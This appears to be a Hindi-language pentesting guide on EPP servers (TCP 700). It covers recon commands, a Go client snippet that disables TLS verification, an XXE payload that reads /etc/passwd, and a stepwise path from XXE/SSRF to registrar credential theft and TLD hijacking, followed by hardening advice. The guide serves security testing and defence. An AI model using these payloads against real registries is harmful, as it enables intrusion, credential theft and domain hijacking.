700 - Pentesting EPP

Reading time: 6 minutes

Basic Information

Extensible Provisioning Protocol (EPP) एक नेटवर्क प्रोटोकॉल है जो डोमेन नामों और अन्य इंटरनेट संसाधनों के प्रबंधन के लिए डोमेन नाम रजिस्ट्रियों और रजिस्ट्रार द्वारा उपयोग किया जाता है। यह डोमेन नाम पंजीकरण, नवीनीकरण, स्थानांतरण और हटाने की प्रक्रियाओं का स्वचालन सक्षम करता है, जिससे डोमेन नाम प्रणाली (DNS) में विभिन्न संस्थाओं के बीच एक मानकीकृत और सुरक्षित संचार ढांचा सुनिश्चित होता है। EPP को लचीला और विस्तारित करने योग्य बनाने के लिए डिज़ाइन किया गया है, जिससे इंटरनेट बुनियादी ढांचे की आवश्यकताओं के अनुसार नई सुविधाओं और आदेशों को जोड़ा जा सके।

बुनियादी रूप से, यह एक प्रोटोकॉल है जो TLD रजिस्ट्रार डोमेन रजिस्ट्रारों को नए डोमेन पंजीकृत करने के लिए पेश करेगा।

Pentest

इस बहुत दिलचस्प लेख में आप देख सकते हैं कि कुछ सुरक्षा शोधकर्ताओं ने पाया कि इस प्रोटोकॉल के कई क्रियान्वयन XXE (XML External Entity) के प्रति संवेदनशील थे क्योंकि यह प्रोटोकॉल संचार के लिए XML का उपयोग करता है, जिससे हमलावरों को विभिन्न TLDs पर नियंत्रण पाने की अनुमति मिलती।

Enumeration & Recon

EPP सर्वर लगभग हमेशा TCP 700/tcp पर TLS के माध्यम से सुनते हैं। एक सामान्य तैनाती म्यूचुअल-TLS (mTLS) को भी लागू करती है, इसलिए क्लाइंट को रजिस्ट्र्री CA द्वारा जारी एक मान्य प्रमाणपत्र प्रस्तुत करना चाहिए। फिर भी, कई निजी परीक्षण या पूर्व-उत्पादन तैनातियाँ उस नियंत्रण को भूल जाती हैं:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

यदि सर्वर TLS हैंडशेक के बाद कनेक्शन समाप्त नहीं करता है, तो आप एक अनधिकृत <hello/> संदेश भेजने का प्रयास कर सकते हैं:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Open-source clients useful for testing

• epp-client (Go) – सक्रिय रूप से बनाए रखा गया, TCP/TLS और EPP-over-HTTPS (RFC 8730) का समर्थन करता है: go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – न्यूनतम क्लाइंट लाइब्रेरी जिसे फज़िंग या न्‍यूक्लीय-शैली के वर्कफ़्लो के लिए आसानी से उपकरणीकृत किया जा सकता है।
• afq984/php-epp-client – PHP कार्यान्वयन जो कई छोटे रजिस्ट्रार द्वारा उपयोग किया जाता है; कोड-रिव्यू के लिए एक सुविधाजनक लक्ष्य।

Example minimal login+check script with Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

सामान्य कमजोरियाँ और 2023-2025 कमजोरियाँ

XXE / SSRF पेलोड (कई Java/Spring कार्यान्वयनों के खिलाफ काम करता है)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

जब पार्सर गलत तरीके से कॉन्फ़िगर किया गया हो (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), तो फ़ाइल की सामग्री <resData> संरचना के अंदर लौटाई जाती है।

अन्य सामान्य निष्कर्ष

1. कमजोर क्रेडेंशियल नीति – EPP लॉगिन पासफ्रेज़ 8 अक्षरों से कम; ब्रूट-फोर्स अक्सर संभव है क्योंकि स्पेक केवल दर-सीमा लगाने की सिफारिश करता है (अनिवार्य नहीं)।
2. गायब registryLock / serverUpdateProhibited स्थिति – एक बार प्रमाणित होने के बाद, हमलावर तुरंत NS रिकॉर्ड अपडेट कर सकते हैं और ट्रैफ़िक चुरा सकते हैं।
3. असाइन किए गए पोल संदेश – कुछ कार्यान्वयन अभी भी पोल Q&A संदेशों पर हस्ताक्षर नहीं करते हैं, जिससे रजिस्ट्रार ऑपरेटरों की स्पूफिंग/फिशिंग संभव होती है।

हमले का मार्ग: शून्य से TLD हाइजैक तक

1. एक EPP एंडपॉइंट खोजें (अक्सर एक सामान्य होस्ट जैसे ot&e.<tld>.nic.<cc> के पीछे छिपा होता है)।
2. उपरोक्त में से एक कमजोरी का दुरुपयोग करके रजिस्ट्रार-स्तरीय क्रेडेंशियल प्राप्त करें (XXE → SSRF से IMDSv1, क्रेडेंशियल एक्सफिल, या TLS-बायपास)।
3. <update> अनुरोध जारी करें ताकि डोमेन के hostObj रिकॉर्ड को हमलावर-नियंत्रित नाम सर्वरों में बदल सकें।
4. (वैकल्पिक) एक <transfer> सबमिट करें ताकि डोमेन को हमलावर-नियंत्रित रजिस्ट्रार में स्थानांतरित किया जा सके – कई रजिस्ट्रियां अभी भी एकल ऑथ-कोड पर निर्भर करती हैं।
5. लाभ: DNS क्षेत्र का पूर्ण नियंत्रण, ACME के माध्यम से TLS प्रमाणपत्रों के लिए अनुरोध करने की क्षमता।

रक्षा उपाय और हार्डनिंग

• mTLS को प्रति-रजिस्ट्रार क्लाइंट प्रमाणपत्रों के साथ लागू करें और रजिस्ट्र्री CA को पिन करें।
• parserFeature secure-processing=true या समकक्ष सेट करें ताकि XXE को समाप्त किया जा सके।
• XML पार्सर का निरंतर फज़िंग करें (जैसे, go-fuzz या Java के लिए jazzer के साथ)।
• उच्च-मूल्य वाले डोमेन के लिए Registry Lock / server*Prohibited स्थितियों को लागू करें।
• संदिग्ध <transfer> या <update> आदेशों के लिए poll कतार की निगरानी करें और वास्तविक समय में अलर्ट करें।
• ICANN 2024 DNS-शोषण अनुबंध संशोधन रजिस्ट्रियों को दर-सीमा और प्रमाणीकरण नियंत्रण साबित करने की आवश्यकता करते हैं – उनका लाभ उठाएं।

संदर्भ

• ICANN सुरक्षा और स्थिरता सलाहकार समिति (SSAC)। "SAC118: रजिस्ट्र्री ऑपरेटर की EPP सुरक्षा नियंत्रण लागू करने में विफलता के परिणाम"। 2024।
• HackCompute – "EPP सर्वरों को हैक करना: TLD को हाइजैक करने के लिए XXE का दुरुपयोग" (2023)।